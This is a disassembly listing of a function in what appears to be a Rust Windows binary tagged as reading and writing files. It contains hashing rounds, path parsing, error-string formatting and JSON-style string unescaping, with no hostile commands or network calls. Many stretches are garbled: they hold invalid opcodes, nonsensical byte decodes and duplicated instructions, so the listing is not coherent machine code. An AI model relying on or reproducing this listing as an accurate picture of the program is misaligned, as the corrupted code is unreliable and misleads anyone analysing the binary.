Function at 0x1400906b0
Capabilities:
Read file on windows
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
lea r14, [rsp + 0x28]
lea rdx, [rsp + 0x20]
mov r8d, 8
mov rcx, r14
call fcn.1400166a0
mov rcx, r14
mov rdx, r15
mov r8, rbx
call fcn.1400166a0
add rbx, 4
jmp 0x14000c9c9
mov qword [rsp + 0x20], rbx
lea r13, [rsp + 0x28]
lea rdx, [rsp + 0x20]
mov r8d, 8
mov rcx, r13
call fcn.1400166a0
mov rcx, r13
mov rdx, r15
mov r8, rbx
call fcn.1400166a0
mov qword [rsp + 0x20], r14
lea rdx, [rsp + 0x20]
mov r8d, 8
mov rcx, r13
call fcn.1400166a0
mov rcx, r13
mov rdx, r12
mov r8, r14
call fcn.1400166a0
lea rax, [r14 + 1]
test r14, r14
cmove rax, r14
add rbx, rax
add rbx, 8
jmp 0x14000c9c9
cmp rsi, rbx
jb 0x14000cc16
add rdi, rbx
sub rsi, rbx
jne 0x14000cb1b
xor r14d, r14d
xor r15d, r15d
sub rsi, r15
jbe 0x14000c9ff
add rdi, r15
lea rcx, [rsp + 0x28]
mov rdx, rdi
mov r8, rsi
call fcn.1400166a0
add r14, rsi
mov qword [rsp + 0x70], r14
lea rcx, [rsp + 0x28]
lea rdx, [rsp + 0x70]
mov r8d, 8
call fcn.1400166a0
mov rcx, qword [rsp + 0x38]
mov r9, qword [rsp + 0x58]
shl r9, 0x38
or r9, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x40]
mov rax, qword [rsp + 0x28]
add rax, rcx
rol rcx, 0xd
xor rdx, r9
xor rcx, rax
rol rax, 0x20
mov r8, qword [rsp + 0x30]
add r8, rdx
rol rdx, 0x10
xor rdx, r8
add rax, rdx
rol rdx, 0x15
add r8, rcx
rol rcx, 0x11
xor rdx, rax
xor rcx, r8
rol r8, 0x20
xor rax, r9
add rax, rcx
rol rcx, 0xd
xor rcx, rax
rol rax, 0x20
xor r8, 0xff
add r8, rdx
rol rdx, 0x10
xor rdx, r8
add rax, rdx
rol rdx, 0x15
add r8, rcx
rol rcx, 0x11
xor rcx, r8
rol r8, 0x20
xor rdx, rax
add rax, rcx
rol rcx, 0xd
xor rcx, rax
rol rax, 0x20
add r8, rdx
rol rdx, 0x10
xor rdx, r8
add rax, rdx
rol rdx, 0x15
add r8, rcx
rol rcx, 0x11
xor rcx, r8
rol r8, 0x20
xor rdx, rax
add rax, rcx
rol rcx, 0xd
add r8, rdx
rol rdx, 0x10
xor rdx, r8
rol rdx, 0x15
xor rcx, rax
add r8, rcx
rol rcx, 0x11
mov rax, r8
rol rax, 0x20
xor rax, rcx
xor rax, rdx
xor rax, r8
add rsp, 0x98
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
cmp bpl, 2
ja 0x14000cb76
xor r15d, r15d
lea rbx, [rsp + 0x28]
xor r14d, r14d
xor r13d, r13d
jmp 0x14000cb4f
mov r15, r12
mov r13, r12
cmp rsi, r12
je 0x14000c9e4
lea r12, [r13 + 1]
cmp byte [rdi + r13], 0x5c
jne 0x14000cb43
mov r8, r13
sub r8, r15
jbe 0x14000cb40
lea rdx, [rdi + r15]
mov rcx, rbx
call fcn.1400166a0
sub r14, r15
add r14, r13
jmp 0x14000cb40
lea r12, [rdi + 2]
lea r13, [rsi - 1]
lea rbp, [rsi - 2]
xor r15d, r15d
xor r14d, r14d
xor ebx, ebx
jmp 0x14000cba5
xor eax, eax
lea r15, [rax + rbx]
inc r15
inc rbx
cmp rsi, rbx
je 0x14000c9e4
movzx eax, byte [r12 + rbx - 2]
cmp eax, 0x2f
je 0x14000cbb5
cmp eax, 0x5c
jne 0x14000cb99
mov r8, rbx
sub r8, r15
jbe 0x14000cbd1
lea rdx, [rdi + r15]
lea rcx, [rsp + 0x28]
call fcn.1400166a0
sub r14, r15
add r14, rbx
cmp rbp, rbx
jne 0x14000cbf0
mov eax, 1
cmp byte [r12 + rbx - 1], 0x2e
jne 0x14000cb90
jmp 0x14000cb92
cmp r13, rbx
je 0x14000cb90
cmp byte [r12 + rbx - 1], 0x2e
jne 0x14000cb90
movzx eax, byte [r12 + rbx]
cmp al, 0x5c
sete cl
cmp al, 0x2f
sete al
or al, cl
movzx eax, al
jmp 0x14000cb92
lea r8, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112library_std_srcpath.rs
mov rcx, rbx
mov rdx, rsi
call fcn.1400a9f20
ud2
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1400b13d3]
mov r8d, 0x14
jmp 0x14000dbf2
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1400b13e7]
mov r8d, 0xa
jmp 0x14000dbf2
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1400b13f1]
jmp 0x14000dbec
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1400b13fd]
mov r8d, 0xe
jmp 0x14000dbf2
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1400b140b]
mov r8d, 0xe
jmp 0x14000dbf2
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1400b1419]
mov r8d, 0xf
jmp 0x14000dbf2
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1400b1428]
jmp 0x14000dbec
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1400b1434]
jmp 0x14000dbec
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1400b1440]
mov r8d, 0xe
jmp 0x14000dbf2
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1400b144e]
mov r8d, 0xf
jmp 0x14000dbf2
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1400b145d]
mov r8d, 0x12
jmp 0x14000dbf2
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1400b146f]
mov r8d, 0xf
jmp 0x14000dbf2
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1400b147e]
mov r8d, 0x16
jmp 0x14000dbf2
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1400b1494]
mov r8d, 0x16
jmp 0x14000dbf2
add rcx, 8
mov qword [rsp + 0x40], rcx
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x1400b14aa]
mov r8d, 5
call qword [rax + 0x18]
mov qword [rsp + 0x30], rsi
mov byte [rsp + 0x38], al
mov qword [rsp + 0x28], 0
mov byte [rsp + 0x39], 0
lea r8, [0x1400b14b0]
jmp 0x14000db3e
add rcx, 8
mov qword [rsp + 0x40], rcx
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, str.Pkcs8
mov r8d, 5
call qword [rax + 0x18]
mov qword [rsp + 0x30], rsi
mov byte [rsp + 0x38], al
mov qword [rsp + 0x28], 0
mov byte [rsp + 0x39], 0
lea r8, [0x1400b14d8]
lea rcx, [rsp + 0x28]
lea rdx, [rsp + 0x40]
call fcn.140043f20
mov rax, qword [rsp + 0x28]
movzx ecx, byte [rsp + 0x38]
test rax, rax
je 0x14000dc31
mov bl, 1
test cl, cl
jne 0x14000dc33
mov rsi, qword [rsp + 0x30]
cmp rax, 1
jne 0x14000dba2
cmp byte [rsp + 0x39], 0
je 0x14000dba2
test byte [rsi + 0x34], 4
jne 0x14000dba2
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x1400e77f5]
mov r8d, 1
call qword [rax + 0x18]
test al, al
jne 0x14000dc33
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x1400e8e76]
mov r8d, 1
call qword [rax + 0x18]
mov ebx, eax
jmp 0x14000dc33
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, str.InternalLabelTooLongInvalidPadLenInvalidArgumentsAlgorithmParametersMissingAsn1
mov r8d, 8
jmp 0x14000dbf2
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1400b1500]
mov r8d, 0xc
add rsp, 0x48
pop rbx
pop rsi
jmp rax
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1400b150c]
mov r8d, 0xd
jmp 0x14000dbf2
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1400b1519]
mov r8d, 0x10
jmp 0x14000dbf2
mov ebx, ecx
test bl, bl
setne al
add rsp, 0x48
pop rbx
pop rsi
ret
add byte [rax], al
add bh, bh
push rax
sbb byte [rcx - 0x76fd143d], cl
retf
lea eax, [0x1400eef04]
movsxd rdx, dword [rax + r8*4]
add rdx, rax
jmp rdx
sub byte [rax - 0x73], r9b
adc eax, 0xa36fd
mov r8d, 4
call qword [rax + 0x18]
mov qword [rsp + 0x30], rsi
mov byte [rsp + 0x38], al
mov qword [rsp + 0x28], 0
mov byte [rsp + 0x39], 0
lea r8, [0x1400b1548]
jmp 0x14000dec8
lea rcx, [rsp + 0x28]
lea rdx, [rsp + 0x40]
call fcn.140043f20
mov rax, qword [rsp + 0x28]
movzx ecx, byte [rsp + 0x38]
test rax, rax
je 0x14000df5e
mov bl, 1
test cl, cl
jne 0x14000df60
mov rsi, qword [rsp + 0x30]
cmp rax, 1
jne 0x14000df20
cmp byte [rsp + 0x39], 0
je 0x14000df20
test byte [rsi + 0x34], 4
jne 0x14000df20
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x1400e77f5]
mov r8d, 1
call qword [rax + 0x18]
test al, al
jne 0x14000df60
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x1400e8e76]
mov r8d, 1
call qword [rax + 0x18]
mov ebx, eax
jmp 0x14000df60
mov ebx, ecx
test bl, bl
setne al
add rsp, 0x48
pop rbx
pop rsi
ret
jb 0x14000dfd6
mov rcx, qword [rdi]
add rcx, r14
mov rdx, rbx
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
add r14, rsi
mov qword [rdi + 0x10], r14
ja 0x14000dfda
ja 0x14000dfda
xor eax, eax
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
ret
mov rcx, rdi
mov rdx, r14
mov edx, esi
mov r8, rsi
call fcn.1400ab0a0
mov r14, qword [rdi + 0x10]
ja 0x14000dff8
ja 0x14000dff8
jmp 0x14000dfb2
mov esi, edx
mov rdi, rcx
movzx eax, byte [rcx]
lea rcx, [0x1400eef14]
femms
add byte [rax + 0x63], cl
add al, 0x81
femms
add byte [rax + 0x63], cl
add al, 0x81
add rax, rcx
jmp rax
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, str.DateTimeFailedFileNotFoundIncompleteexpected_lenactual_len
jmp 0x14000e235
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1400b1610]
mov r8d, 6
jmp 0x14000e306
add byte [rax], al
add bh, bh
push rax
sbb byte [rax - 0x77], cl
je 0x14000e0b1
xor byte [rax - 0x39c7dbbc], cl
and al, 0x39
add byte [rax - 0x73], cl
add eax, 0xfffffc92
mov qword [rsp + 0x20], rax
lea rdx, [0x1400b162c]
lea rsi, [rsp + 0x30]
mov r8d, 0xc
or al, 0
add byte [rax], al
mov rcx, rsi
mov r9, rdi
call fcn.140043690
lea rax, [0x1400098a0]
dec dword [rax - 0x77]
and al, 0x20
dec dword [rax - 0x77]
and al, 0x20
lea rdx, [0x1400b1638]
lea r9, [rsp + 0x48]
mov r8d, 0xa
jmp 0x14000e473
call qword [rax + 0x18]
mov qword [rsp + 0x38], rsi
mov byte [rsp + 0x40], al
mov qword [rsp + 0x30], 0
mov byte [rsp + 0x41], 0
lea r8, [0x1400b1670]
jmp 0x14000e4cf
invalid
add eax, dword [rax]
invalid
test eax, 0x48000003
mov ecx, dword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, str.IndefiniteLengthtag
jmp 0x14000e300
invalid
mov rax, qword [rsi + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1400b16d4]
mov r8d, 0xc
jmp 0x14000e306
mov dword [rsp + 0x48], edi
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x1400b1574]
mov r8d, 0xa
call qword [rax + 0x18]
mov qword [rsp + 0x30], rsi
je 0x14000e1e8
xor byte [rax - 0x39c7dbbc], cl
and al, 0x39
add byte [rax - 0x73], cl
add eax, 0xffffae4b
je 0x14000e1e8
xor byte [rax - 0x39c7dbbc], cl
and al, 0x39
add byte [rax - 0x73], cl
add eax, 0xffffae4b
mov qword [rsp + 0x20], rax
lea rdx, [0x1400b157e]
add cl, ch
invalid
add eax, dword [rax]
invalid
add cl, ch
invalid
and byte [rax - 0x75], r9b
sub byte [rax - 0x75], r9b
sbb byte [rax - 0x73], cl
adc eax, 0xa34e7
mov r8d, 0xc
add cl, ch
add al, byte [rcx]
add byte [rax], al
add cl, ch
add al, byte [rcx]
add byte [rax], al
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1400b16ec]
mov r8d, 0xb
jmp 0x14000e306
mov r8d, 8
jmp 0x14000e306
and byte [rax - 0x75], r9b
sub byte [rax - 0x75], r9b
sbb byte [rax - 0x73], cl
adc eax, 0xa34ac
mov r8d, 0xa
add byte [rax], al
add byte [rax], al
jmp 0x14000e306
xchg ebx, eax
xor al, 0xa
add byte [rcx - 0x48], al
add eax, dword [rax]
add byte [rax], al
call qword [rax + 0x18]
mov qword [rsp + 0x38], rsi
mov byte [rsp + 0x40], al
mov qword [rsp + 0x30], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov byte [rsp + 0x41], 0
lea r8, [0x1400b1710]
jmp 0x14000e4cf
adc eax, 0xdb9fb
jmp 0x14000e300
mov r8d, 0x10
add rsp, 0x50
pop rbx
pop rdi
pop rsi
jmp rax
add byte [rax], al
add bh, bh
push rax
sbb byte [rax - 0x77], cl
je 0x14000e35c
xor byte [rax - 0x39c7dbbc], cl
and al, 0x39
add byte [rax - 0x73], cl
add eax, 0x6e57
mov qword [rsp + 0x20], rax
lea rdx, [0x1400b1761]
lea rsi, [rsp + 0x30]
mov r8d, 8
or byte [rax], al
add byte [rax], al
mov rcx, rsi
mov r9, rdi
call fcn.140043690
lea rax, [0x1400094a0]
mov qword [rsp + 0x20], rax
lea rdx, [0x1400d7d1a]
lea r9, [rsp + 0x48]
mov r8d, 6
jmp 0x14000e473
and byte [rax - 0x75], cl
sub byte [rax - 0x73], r9b
adc eax, 0xa33c4
mov r8d, 0xa
call qword [rax + 0x18]
mov qword [rsp + 0x30], rsi
mov byte [rsp + 0x38], al
mov byte [rsp + 0x39], 0
lea rax, [0x140008c80]
mov qword [rsp + 0x20], rax
lea rdx, [0x1400b1773]
lea rcx, [rsp + 0x30]
lea r9, [rsp + 0x48]
mov r8d, 4
call fcn.140043690
cmp byte [rsp + 0x39], 0
movzx eax, byte [rsp + 0x38]
jne 0x14000e56d
jmp 0x14000e605
clc
invalid
mov rcx, rsi
call fcn.140043690
cmp byte [rsp + 0x39], 0
movzx eax, byte [rsp + 0x38]
jne 0x14000e56d
jmp 0x14000e605
add byte [rcx - 0x48], al
add al, 0
add byte [rax], al
call qword [rax + 0x18]
mov qword [rsp + 0x38], rsi
mov byte [rsp + 0x40], al
mov qword [rsp + 0x30], 0
mov byte [rsp + 0x41], 0
lea r8, [0x1400b1798]
lea rcx, [rsp + 0x30]
lea rdx, [rsp + 0x48]
call fcn.140043f20
mov rax, qword [rsp + 0x30]
movzx ecx, byte [rsp + 0x40]
test rax, rax
je 0x14000e4fe
mov bl, 1
test cl, cl
je 0x14000e5b3
test bl, bl
jmp 0x14000e607
mov ebx, ecx
test cl, cl
jmp 0x14000e607
lea rcx, [rsp + 0x30]
lea r9, [rsp + 0x48]
mov r8d, 3
call fcn.140043690
cmp byte [rsp + 0x39], 0
movzx eax, byte [rsp + 0x38]
je 0x14000e605
test al, al
mov al, 1
jne 0x14000e605
mov rax, qword [rsp + 0x30]
test byte [rax + 0x34], 4
jne 0x14000e599
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
lea rdx, [0x1400e3857]
mov r8d, 2
jmp 0x14000e5ae
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
lea rdx, [0x1400e9693]
mov r8d, 1
call qword [rax + 0x18]
jmp 0x14000e605
mov rsi, qword [rsp + 0x38]
cmp rax, 1
jne 0x14000e5eb
cmp byte [rsp + 0x41], 0
je 0x14000e5eb
test byte [rsi + 0x34], 4
jne 0x14000e5eb
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x1400e77f5]
mov r8d, 1
call qword [rax + 0x18]
test al, al
jne 0x14000e4f7
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x1400e8e76]
mov r8d, 1
call qword [rax + 0x18]
mov ebx, eax
test al, al
setne al
add rsp, 0x50
pop rbx
pop rdi
pop rsi
ret
add rcx, rsi
rol rsi, 0xd
mov rbx, qword [rdx + r10]
xor rsi, rcx
rol rcx, 0x20
xor rdi, rbx
add r9, rdi
rol rdi, 0x10
xor rdi, r9
add rcx, rdi
rol rdi, 0x15
add r9, rsi
rol rsi, 0x11
xor rsi, r9
rol r9, 0x20
rol ecx, 0x20
rol ecx, 0x20
xor rdi, rcx
xor rcx, rbx
add r10, 8
cmp r10, r8
jb 0x1400167c0
mov qword [rax + 0x18], rdi
mov qword [rax + 0x10], rsi
mov qword [rax + 8], r9
mov qword [rax], rcx
mov dword [rax], ecx
mov dword [rax], ecx
cmp r11d, 3
jbe 0x140016830
mov r9d, dword [rdx + r10]
mov r8d, 4
mov rcx, r8
or rcx, 1
cmp rcx, r11
jb 0x140016842
jmp 0x14001685c
xor r9d, r9d
xor r8d, r8d
mov rcx, r8
or rcx, 1
cmp rcx, r11
jae 0x14001685c
lea rcx, [r8 + r10]
movzx esi, word [rdx + rcx]
lea ecx, [r8*8]
shl rsi, cl
or r9, rsi
or r8, 2
cmp r8, r11
jae 0x140016876
add r10, r8
movzx edx, byte [rdx + r10]
shl r8d, 3
mov ecx, r8d
shl rdx, cl
or r9, rdx
mov qword [rax + 0x38], r9
mov qword [rax + 0x40], r11
pop rbx
pop rdi
pop rsi
ret
push rsi
push rsi
push rdi
push rbx
sub rsp, 0x38
mov rsi, rcx
lea rdi, [rsp + 0x20]
lea rbx, [0x1400e7930]
lea r14, [0x1400eef74]
jmp case.0x14001694f.34
mov rcx, rdi
mov rdx, rsi
call fcn.1400169c0
cmp word [rsp + 0x20], 0
jne 0x14001697d
nop dword [rax + rax]
movzx eax, byte [rsi + 0x21]
cmp byte [rsi + 0x20], 0
mov byte [rsi + 0x20], 0
je 0x1400168f0
movzx ecx, al
cmp byte [rcx + rbx], 0
jne 0x140016912
jmp case.0x14001694f.34
mov rcx, rdi
mov rdx, rsi
call section..text
movzx eax, byte [rsp + 0x20]
test eax, eax
jne 0x14001696d
movzx eax, byte [rsp + 0x21]
movzx ecx, al
cmp byte [rcx + rbx], 0
je case.0x14001694f.34
cmp al, 0x5c
jne 0x14001695c
movzx eax, byte [rsi + 0x21]
cmp byte [rsi + 0x20], 0
mov byte [rsi + 0x20], 0
jne 0x14001693d
mov rcx, rdi
mov rdx, rsi
call section..text
movzx eax, byte [rsp + 0x20]
test eax, eax
jne 0x14001696d
movzx eax, byte [rsp + 0x21]
movzx eax, al
add eax, 0xffffffde
cmp eax, 0x53
ja case.0x14001694f.35
movsxd rax, dword [r14 + rax*4]
add rax, r14
jmp rax
mov qword [rsp + 0x20], 0xc
jmp 0x14001698d
cmp ecx, 0x22
jne 0x140016984
xor eax, eax
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r14
ret
cmp eax, 2
jne 0x1400169a1
mov qword [rsp + 0x20], 4
jmp 0x14001698d
mov rax, qword [rsp + 0x28]
jmp 0x140016963
mov qword [rsp + 0x20], 0x10
mov rdx, qword [rsi + 8]
mov r8, qword [rsi + 0x10]
lea rcx, [rsp + 0x20]
call fcn.1400adb90
jmp 0x140016963
mov rcx, qword [rsp + 0x28]
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r14
jmp fcn.1400adc10
pop rsp
jb 0x1400169bc
invalid
pop rsp
jb 0x1400169bc
add ah, cl
int3
int3
and byte [rbp + 0x6850fc0], al
add dword [rax], eax
add byte [rdi], cl
mov dh, 0x44
and al, 0x21
movzx eax, al
lea r14, [0x1400e7a30]
movzx eax, byte [rax + r14]
movzx ebx, ax
cmp ebx, 0xff
je 0x140016af5
movzx eax, byte [rdi + 0x21]
cmp byte [rdi + 0x20], 0
mov byte [rdi + 0x20], 0
jne 0x140016a4a
lea rcx, [rsp + 0x20]
mov rdx, rdi
call section..text
movzx eax, byte [rsp + 0x20]
test eax, eax
jne 0x140016b00
movzx eax, byte [rsp + 0x21]
movzx eax, al
movzx eax, byte [rax + r14]
add al, 0x30
add al, 0x30
movzx ebp, ax
cmp ebp, 0xff
je 0x140016af5
movzx eax, byte [rdi + 0x21]
cmp byte [rdi + 0x20], 0
mov byte [rdi + 0x20], 0
jne 0x140016a8a
lea rcx, [rsp + 0x20]
mov rdx, rdi
call section..text
movzx eax, byte [rsp + 0x20]
test eax, eax
jne 0x140016b00
movzx eax, byte [rsp + 0x21]
movzx eax, al
movzx eax, byte [rax + r14]
movzx r15d, ax
cmp r15d, 0xff
je 0x140016af5
movzx eax, byte [rdi + 0x21]
cmp byte [rdi + 0x20], 0
mov byte [rdi + 0x20], 0
jne 0x140016ac8
lea rcx, [rsp + 0x20]
mov rdx, rdi
call section..text
movzx eax, byte [rsp + 0x20]
test eax, eax
jne 0x140016b00
movzx eax, byte [rsp + 0x21]
movzx eax, al
movzx eax, byte [rax + r14]
movzx eax, ax
cmp eax, 0xff
je 0x140016af5
shl ebx, 8
shl ebp, 4
add ebp, ebx
add ebp, r15d
shl ebp, 4
add ebp, eax
mov word [rsi + 2], bp
mov word [rsi], 0
jmp 0x140016b35
mov qword [rsp + 0x20], 0xc
jmp 0x140016b0e
cmp eax, 2
jne 0x140016b22
mov qword [rsp + 0x20], 4
mov rdx, qword [rdi + 8]
mov r8, qword [rdi + 0x10]
lea rcx, [rsp + 0x20]
call fcn.1400adb90
jmp 0x140016b2c
mov rcx, qword [rsp + 0x28]
call fcn.1400adc10
mov qword [rsi + 8], rax
mov word [rsi], 1
add rsp, 0x38
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
ret
mov byte [rax], al
add byte [rax], al
movaps xmmword [rsp + 0x70], xmm7
movaps xmmword [rsp + 0x60], xmm6
mov rbx, r8
mov rdi, rdx
mov qword [rsp + 0x28], rcx
lea r14, [rsp + 0x30]
lea r15, [rsp + 0x48]
lea rbp, [0x1400ef0c4]
lea rbp, [0x1400ef0c4]
movdqa xmm6, xmmword [str._a___]
movdqa xmm7, xmmword [0x1400b0610]
movzx r12d, byte [rdi + 0x21]
cmp byte [rdi + 0x20], 0
mov byte [rdi + 0x20], 0
and byte [r8], r8b
and byte [r8], r8b
jne 0x140016cf8
nop dword [rax]
mov byte [rsp + 0x48], 0
jmp 0x140016bcc
cmp byte [r12 + 0x10], 0x23
jne 0x1400170b6
and ecx, dword [rdi]
test edx, ebp
add al, 0
add byte [rax - 0x75], cl
invalid
mov rdx, qword [rdi]
mov r9d, 1
mov rcx, r14
mov r8, r15
call fcn.140082610
cmp qword [rsp + 0x30], 0
je case.default.0x140016bff
invalid
xchg esp, eax
add byte [rax], al
invalid
test byte [rax + rax - 0x74b40000], dl
and al, 0x38
mov r12, qword [rsp + 0x38]
mov eax, r12d
and eax, 3
movsxd rax, dword [rbp + rax*4]
add rax, rbp
jmp rax
test eax, 0x4d000004
mov ebp, dword [rsp - 1]
mov rsi, qword [r12 + 7]
mov rcx, r13
call qword [rsi]
cmp qword [rsi + 8], 0
je 0x140016c40
cmp qword [rsi + 0x10], 0x11
jb 0x140016c2e
mov r13, qword [r13 - 8]
mov ebp, dword [rbp - 8]
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r13
call qword [sym.imp.kernel32.dll_HeapFree]
dec r12
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r12
mov eax, esp
mov eax, esp
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x140016bcc
cmp qword [rsp + 0x38], 0
je 0x140017167
movzx r12d, byte [rsp + 0x48]
mov rax, qword [rdi + 0x10]
inc rax
cmp r12b, 0xa
jne 0x140016cac
add qword [rdi + 0x18], rax
inc qword [rdi + 8]
mov r12b, 0xa
xor eax, eax
mov qword [rdi + 0x10], rax
movzx eax, r12b
lea rcx, [0x1400e7930]
cmp byte [rax + rcx], 0
jne 0x140016d09
mov rdx, qword [rbx + 0x10]
cmp rdx, qword [rbx + 8]
jne 0x140016cd7
mov rcx, rbx
call fcn.140051430
mov rdx, qword [rbx + 0x10]
mov rax, qword [rbx]
mov byte [rax + rdx], r12b
inc rdx
mov qword [rbx + 0x10], rdx
movzx r12d, byte [rdi + 0x21]
cmp byte [rdi + 0x20], 0
mov byte [rdi + 0x20], 0
je 0x140016bb0
movzx eax, r12b
lea rcx, [0x1400e7930]
cmp byte [rax + rcx], 0
je 0x140016cc1
cmp r12b, 0x5c
jne 0x1400170ed
movzx eax, byte [rdi + 0x21]
cmp byte [rdi + 0x20], 0
mov byte [rdi + 0x20], 0
jne 0x140016d3e
mov rcx, r14
mov rdx, rdi
call section..text
movzx eax, byte [rsp + 0x30]
test eax, eax
jne 0x140017162
movzx eax, byte [rsp + 0x31]
movzx eax, al
add eax, 0xffffffde
cmp eax, 0x53
ja case.0x140016d5b.35
lea rcx, [0x1400ef0d4]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov rdx, qword [rbx + 0x10]
cmp rdx, qword [rbx + 8]
jne 0x140016d73
mov rcx, rbx
call fcn.140051430
mov rdx, qword [rbx + 0x10]
mov rax, qword [rbx]
mov byte [rax + rdx], 0x22
jmp 0x140016cde
mov rdx, qword [rbx + 0x10]
cmp rdx, qword [rbx + 8]
jne 0x140016d95
mov rcx, rbx
call fcn.140051430
mov rdx, qword [rbx + 0x10]
mov rax, qword [rbx]
mov byte [rax + rdx], 0x2f
jmp 0x140016cde
mov rdx, qword [rbx + 0x10]
cmp rdx, qword [rbx + 8]
jne 0x140016db7
mov rcx, rbx
call fcn.140051430
mov rdx, qword [rbx + 0x10]
mov rax, qword [rbx]
mov byte [rax + rdx], 0x5c
jmp 0x140016cde
mov rdx, qword [rbx + 0x10]
cmp rdx, qword [rbx + 8]
jne 0x140016dd9
mov rcx, rbx
call fcn.140051430
mov rdx, qword [rbx + 0x10]
mov rax, qword [rbx]
mov byte [rax + rdx], 8
jmp 0x140016cde
mov rdx, qword [rbx + 0x10]
cmp rdx, qword [rbx + 8]
jne 0x140016dfb
mov rcx, rbx
call fcn.140051430
mov rdx, qword [rbx + 0x10]
mov rax, qword [rbx]
mov byte [rax + rdx], 0xc
jmp 0x140016cde
mov rdx, qword [rbx + 0x10]
cmp rdx, qword [rbx + 8]
jne 0x140016e1d
mov rcx, rbx
call fcn.140051430
mov rdx, qword [rbx + 0x10]
mov rax, qword [rbx]
mov byte [rax + rdx], 0xa
jmp 0x140016cde
mov rdx, qword [rbx + 0x10]
cmp rdx, qword [rbx + 8]
jne 0x140016e3f
mov rcx, rbx
call fcn.140051430
mov rdx, qword [rbx + 0x10]
mov rax, qword [rbx]
mov byte [rax + rdx], 0xd
jmp 0x140016cde
mov rdx, qword [rbx + 0x10]
cmp rdx, qword [rbx + 8]
jne 0x140016e61
mov rcx, rbx
call fcn.140051430
mov rdx, qword [rbx + 0x10]
mov rax, qword [rbx]
mov byte [rax + rdx], 9
jmp 0x140016cde
mov rcx, r15
mov rdx, rdi
call fcn.1400169c0
cmp word [rsp + 0x48], 0
jne 0x140017128
movzx r12d, word [rsp + 0x4a]
movzx eax, r12w
mov ecx, eax
and ecx, 0xfc00
cmp ecx, 0xd800
je 0x140016edd
cmp ecx, 0xdc00
je 0x1400171d1
invalid
add eax, dword [rax]
invalid
invalid
mov ecx, eax
xor ecx, 0xffefd800
cmp ecx, 0xffef0800
jb 0x1400171f9
mov dword [rsp + 0x30], 0
cmp eax, 0x80
jae 0x140016ef4
mov byte [rsp + 0x30], r12b
mov r12d, 1
jmp 0x14001705f
cmp byte [rdi + 0x20], 0
je 0x140016f23
movzx eax, byte [rdi + 0x21]
